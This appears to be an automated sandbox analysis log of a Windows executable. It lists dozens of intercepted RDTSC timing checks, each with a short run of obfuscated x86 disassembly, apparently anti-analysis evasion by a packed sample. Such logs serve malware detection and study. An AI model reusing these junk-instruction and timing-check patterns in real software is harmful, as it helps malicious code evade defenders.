Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0553 second address: 49B0589 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a call 00007F63E4B4E53Ch 0x0000000f mov edx, eax 0x00000011 pop eax 0x00000012 mov edx, 573D06D2h 0x00000017 popad 0x00000018 xchg eax, ebx 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F63E4B4E544h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0ED2 second address: 49A0EE1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63E478794Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0EE1 second address: 49A0F28 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63E4B4E549h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F63E4B4E53Eh 0x00000010 xchg eax, ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F63E4B4E547h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0957 second address: 49B0966 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63E478794Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0966 second address: 49B0A0B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F63E4B4E541h 0x0000000e xchg eax, ebp 0x0000000f pushad 0x00000010 pushad 0x00000011 call 00007F63E4B4E549h 0x00000016 pop esi 0x00000017 pushfd 0x00000018 jmp 00007F63E4B4E541h 0x0000001d adc ax, B976h 0x00000022 jmp 00007F63E4B4E541h 0x00000027 popfd 0x00000028 popad 0x00000029 popad 0x0000002a mov ebp, esp 0x0000002c jmp 00007F63E4B4E53Eh 0x00000031 cmp dword ptr [75AF459Ch], 05h 0x00000038 jmp 00007F63E4B4E540h 0x0000003d je 00007F6455C2C546h 0x00000043 jmp 00007F63E4B4E540h 0x00000048 pop ebp 0x00000049 push eax 0x0000004a push edx 0x0000004b pushad 0x0000004c push eax 0x0000004d push edx 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0A0B second address: 49B0A13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov si, bx 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0AAD second address: 49B0AC4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63E4B4E53Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0AC4 second address: 49B0AC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0AC8 second address: 49B0ADA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63E4B4E53Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0ADA second address: 49B0AFE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, 4333h 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F63E4787954h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0AFE second address: 49B0B04 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0B04 second address: 49B0B08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0B08 second address: 49B0B0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0B0C second address: 49B0B7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 pushad 0x0000000a call 00007F63E478794Fh 0x0000000f push ecx 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushfd 0x00000013 jmp 00007F63E4787955h 0x00000018 add eax, 07980086h 0x0000001e jmp 00007F63E4787951h 0x00000023 popfd 0x00000024 popad 0x00000025 call 00007F645586C961h 0x0000002a push 75A92B70h 0x0000002f push dword ptr fs:[00000000h] 0x00000036 mov eax, dword ptr [esp+10h] 0x0000003a mov dword ptr [esp+10h], ebp 0x0000003e lea ebp, dword ptr [esp+10h] 0x00000042 sub esp, eax 0x00000044 push ebx 0x00000045 push esi 0x00000046 push edi 0x00000047 mov eax, dword ptr [75AF4538h] 0x0000004c xor dword ptr [ebp-04h], eax 0x0000004f xor eax, ebp 0x00000051 push eax 0x00000052 mov dword ptr [ebp-18h], esp 0x00000055 push dword ptr [ebp-08h] 0x00000058 mov eax, dword ptr [ebp-04h] 0x0000005b mov dword ptr [ebp-04h], FFFFFFFEh 0x00000062 mov dword ptr [ebp-08h], eax 0x00000065 lea eax, dword ptr [ebp-10h] 0x00000068 mov dword ptr fs:[00000000h], eax 0x0000006e ret 0x0000006f jmp 00007F63E478794Eh 0x00000074 sub esi, esi 0x00000076 push eax 0x00000077 push edx 0x00000078 jmp 00007F63E478794Ch 0x0000007d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0B7A second address: 49B0B80 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0B80 second address: 49B0B84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C09AA second address: 49C09CE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63E4B4E549h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C09CE second address: 49C09E1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63E478794Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C09E1 second address: 49C0A00 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, di 0x00000006 push edx 0x00000007 pop esi 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F63E4B4E53Ch 0x00000011 xchg eax, ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 push edi 0x00000016 pop ecx 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0A00 second address: 49C0A30 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63E4787955h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F63E478794Eh 0x00000010 xchg eax, esi 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0A30 second address: 49C0A34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0A34 second address: 49C0A51 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63E4787959h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0A51 second address: 49C0A75 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007F63E4B4E546h 0x0000000c xchg eax, esi 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 movzx esi, dx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0A75 second address: 49C0AB4 instructions: 0x00000000 rdtsc 0x00000002 mov eax, edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F63E4787955h 0x0000000b popad 0x0000000c mov esi, dword ptr [ebp+0Ch] 0x0000000f pushad 0x00000010 mov esi, 7A0A2173h 0x00000015 mov di, si 0x00000018 popad 0x00000019 test esi, esi 0x0000001b pushad 0x0000001c mov ebx, esi 0x0000001e mov si, 4D63h 0x00000022 popad 0x00000023 je 00007F6455855255h 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0AB4 second address: 49C0ACF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63E4B4E547h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0ACF second address: 49C0AD5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0AD5 second address: 49C0AD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0AD9 second address: 49C0ADD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0B93 second address: 49C0BAA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, 332Ah 0x00000007 push edx 0x00000008 pop eax 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ebp 0x0000000d pushad 0x0000000e push esi 0x0000000f pushad 0x00000010 popad 0x00000011 pop edx 0x00000012 push eax 0x00000013 push edx 0x00000014 mov di, cx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B3E2DE second address: 5B3DBBD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63E4787952h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F63E4787959h 0x0000000f nop 0x00000010 sub dword ptr [ebp+122D1DE5h], eax 0x00000016 push dword ptr [ebp+122D081Dh] 0x0000001c mov dword ptr [ebp+122D2E49h], ecx 0x00000022 call dword ptr [ebp+122D2B16h] 0x00000028 pushad 0x00000029 jmp 00007F63E478794Eh 0x0000002e xor eax, eax 0x00000030 clc 0x00000031 mov edx, dword ptr [esp+28h] 0x00000035 mov dword ptr [ebp+122D2B8Eh], ebx 0x0000003b mov dword ptr [ebp+122D38AAh], eax 0x00000041 mov dword ptr [ebp+122D2B8Eh], esi 0x00000047 mov esi, 0000003Ch 0x0000004c cld 0x0000004d add esi, dword ptr [esp+24h] 0x00000051 sub dword ptr [ebp+122D32ECh], ecx 0x00000057 lodsw 0x00000059 cld 0x0000005a jmp 00007F63E478794Fh 0x0000005f add eax, dword ptr [esp+24h] 0x00000063 add dword ptr [ebp+122D2B8Eh], ecx 0x00000069 stc 0x0000006a mov ebx, dword ptr [esp+24h] 0x0000006e mov dword ptr [ebp+122D2B8Eh], ebx 0x00000074 push eax 0x00000075 push eax 0x00000076 push edx 0x00000077 jmp 00007F63E478794Ah 0x0000007c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B3DBBD second address: 5B3DBD3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F63E4B4E542h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CBB324 second address: 5CBB335 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F63E478794Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CB1FB4 second address: 5CB1FC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CB1FC1 second address: 5CB1FD4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 je 00007F63E4787946h 0x0000000d pop eax 0x0000000e pushad 0x0000000f push esi 0x00000010 pop esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CBAA71 second address: 5CBAA75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CBAA75 second address: 5CBAA94 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F63E478795Ah 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CBC607 second address: 5B3DBBD instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F63E4B4E538h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a add dword ptr [esp], 56E84051h 0x00000011 push dword ptr [ebp+122D081Dh] 0x00000017 push 00000000h 0x00000019 push ecx 0x0000001a call 00007F63E4B4E538h 0x0000001f pop ecx 0x00000020 mov dword ptr [esp+04h], ecx 0x00000024 add dword ptr [esp+04h], 0000001Ch 0x0000002c inc ecx 0x0000002d push ecx 0x0000002e ret 0x0000002f pop ecx 0x00000030 ret 0x00000031 mov dword ptr [ebp+122D30CDh], edi 0x00000037 call dword ptr [ebp+122D2B16h] 0x0000003d pushad 0x0000003e jmp 00007F63E4B4E53Eh 0x00000043 xor eax, eax 0x00000045 clc 0x00000046 mov edx, dword ptr [esp+28h] 0x0000004a mov dword ptr [ebp+122D2B8Eh], ebx 0x00000050 mov dword ptr [ebp+122D38AAh], eax 0x00000056 mov dword ptr [ebp+122D2B8Eh], esi 0x0000005c mov esi, 0000003Ch 0x00000061 cld 0x00000062 add esi, dword ptr [esp+24h] 0x00000066 sub dword ptr [ebp+122D32ECh], ecx 0x0000006c lodsw 0x0000006e cld 0x0000006f jmp 00007F63E4B4E53Fh 0x00000074 add eax, dword ptr [esp+24h] 0x00000078 add dword ptr [ebp+122D2B8Eh], ecx 0x0000007e stc 0x0000007f mov ebx, dword ptr [esp+24h] 0x00000083 mov dword ptr [ebp+122D2B8Eh], ebx 0x00000089 push eax 0x0000008a push eax 0x0000008b push edx 0x0000008c jmp 00007F63E4B4E53Ah 0x00000091 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CBC670 second address: 5CBC71C instructions: 0x00000000 rdtsc 0x00000002 jno 00007F63E4787946h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c jmp 00007F63E4787954h 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push eax 0x00000015 call 00007F63E4787948h 0x0000001a pop eax 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f add dword ptr [esp+04h], 0000001Ch 0x00000027 inc eax 0x00000028 push eax 0x00000029 ret 0x0000002a pop eax 0x0000002b ret 0x0000002c jmp 00007F63E478794Eh 0x00000031 call 00007F63E4787959h 0x00000036 mov dword ptr [ebp+122D2D46h], esi 0x0000003c pop edi 0x0000003d push 00000000h 0x0000003f push 00000000h 0x00000041 push edx 0x00000042 call 00007F63E4787948h 0x00000047 pop edx 0x00000048 mov dword ptr [esp+04h], edx 0x0000004c add dword ptr [esp+04h], 0000001Bh 0x00000054 inc edx 0x00000055 push edx 0x00000056 ret 0x00000057 pop edx 0x00000058 ret 0x00000059 mov dword ptr [ebp+122D2E57h], ebx 0x0000005f call 00007F63E4787949h 0x00000064 push eax 0x00000065 push edx 0x00000066 push edx 0x00000067 push eax 0x00000068 push edx 0x00000069 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CBC71C second address: 5CBC721 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CBC721 second address: 5CBC75A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63E4787956h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a je 00007F63E4787954h 0x00000010 pushad 0x00000011 jmp 00007F63E478794Ah 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 mov eax, dword ptr [esp+04h] 0x0000001d push eax 0x0000001e push edx 0x0000001f push edi 0x00000020 pushad 0x00000021 popad 0x00000022 pop edi 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CBC855 second address: 5CBC859 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CBC859 second address: 5CBC867 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007F63E478794Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CBC943 second address: 5CBC9D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 mov dword ptr [esp], eax 0x00000008 push 00000000h 0x0000000a push ebp 0x0000000b call 00007F63E4B4E538h 0x00000010 pop ebp 0x00000011 mov dword ptr [esp+04h], ebp 0x00000015 add dword ptr [esp+04h], 00000016h 0x0000001d inc ebp 0x0000001e push ebp 0x0000001f ret 0x00000020 pop ebp 0x00000021 ret 0x00000022 sub edi, 31C3A171h 0x00000028 push 00000000h 0x0000002a sub dword ptr [ebp+12451746h], ebx 0x00000030 push F301EF4Ah 0x00000035 jmp 00007F63E4B4E542h 0x0000003a add dword ptr [esp], 0CFE1136h 0x00000041 mov dword ptr [ebp+122D2D46h], edi 0x00000047 push 00000003h 0x00000049 mov edi, dword ptr [ebp+122D377Eh] 0x0000004f push 00000000h 0x00000051 push 00000003h 0x00000053 jmp 00007F63E4B4E53Eh 0x00000058 call 00007F63E4B4E539h 0x0000005d push eax 0x0000005e push edx 0x0000005f push eax 0x00000060 jmp 00007F63E4B4E53Eh 0x00000065 pop eax 0x00000066 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CBC9D0 second address: 5CBC9DA instructions: 0x00000000 rdtsc 0x00000002 js 00007F63E478794Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CBC9DA second address: 5CBCA1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 pushad 0x00000009 jnp 00007F63E4B4E536h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 jnc 00007F63E4B4E538h 0x00000018 push edx 0x00000019 pop edx 0x0000001a popad 0x0000001b mov eax, dword ptr [esp+04h] 0x0000001f jmp 00007F63E4B4E548h 0x00000024 mov eax, dword ptr [eax] 0x00000026 je 00007F63E4B4E544h 0x0000002c pushad 0x0000002d push eax 0x0000002e push edx 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CBCA1C second address: 5CBCA44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F63E4787946h 0x0000000a popad 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f jp 00007F63E4787963h 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F63E4787951h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CBCA44 second address: 5CBCA74 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F63E4B4E536h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b mov edi, dword ptr [ebp+122D37EAh] 0x00000011 lea ebx, dword ptr [ebp+12452507h] 0x00000017 jp 00007F63E4B4E53Bh 0x0000001d mov ecx, 5C35986Fh 0x00000022 jl 00007F63E4B4E539h 0x00000028 and cl, 00000000h 0x0000002b xchg eax, ebx 0x0000002c push ecx 0x0000002d push ebx 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CBCA74 second address: 5CBCA96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F63E4787958h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CBCA96 second address: 5CBCA9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CBCB2D second address: 5CBCB93 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F63E4787948h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c add dword ptr [esp], 4FAE9F66h 0x00000013 jns 00007F63E478794Bh 0x00000019 push 00000003h 0x0000001b push 00000000h 0x0000001d mov esi, 6B11051Ah 0x00000022 push 00000003h 0x00000024 mov dword ptr [ebp+122D1C3Ch], eax 0x0000002a push E97045E8h 0x0000002f jmp 00007F63E478794Ah 0x00000034 xor dword ptr [esp], 297045E8h 0x0000003b mov dword ptr [ebp+122D2E61h], esi 0x00000041 lea ebx, dword ptr [ebp+12452512h] 0x00000047 mov dword ptr [ebp+122D32D2h], edi 0x0000004d push eax 0x0000004e pushad 0x0000004f pushad 0x00000050 pushad 0x00000051 popad 0x00000052 jno 00007F63E4787946h 0x00000058 popad 0x00000059 pushad 0x0000005a push eax 0x0000005b push edx 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CDBA28 second address: 5CDBA2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CDBA2E second address: 5CDBA32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CDBA32 second address: 5CDBA38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CDBB9B second address: 5CDBBD3 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F63E4787948h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F63E4787951h 0x00000011 jmp 00007F63E4787959h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CDBD99 second address: 5CDBDD4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F63E4B4E549h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jng 00007F63E4B4E543h 0x0000000f push edx 0x00000010 pop edx 0x00000011 jmp 00007F63E4B4E53Bh 0x00000016 popad 0x00000017 jl 00007F63E4B4E544h 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CDBDD4 second address: 5CDBDD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CDBF91 second address: 5CDBF97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CDBF97 second address: 5CDBF9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CDC169 second address: 5CDC16D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CDC16D second address: 5CDC173 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CDC173 second address: 5CDC17F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CDC17F second address: 5CDC183 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CDC2C0 second address: 5CDC2E3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 jp 00007F63E4B4E536h 0x0000000f jmp 00007F63E4B4E543h 0x00000014 pop eax 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CDC5F1 second address: 5CDC5F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CD4B46 second address: 5CD4B4A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CDD222 second address: 5CDD228 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CE0F85 second address: 5CE0F91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007F63E4B4E536h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CE0F91 second address: 5CE0F9B instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F63E4787946h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CAEA07 second address: 5CAEA5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F63E4B4E536h 0x0000000a pop edi 0x0000000b push esi 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e pop esi 0x0000000f jng 00007F63E4B4E548h 0x00000015 jbe 00007F63E4B4E536h 0x0000001b jmp 00007F63E4B4E53Ch 0x00000020 popad 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F63E4B4E547h 0x00000028 jmp 00007F63E4B4E545h 0x0000002d rdtsc
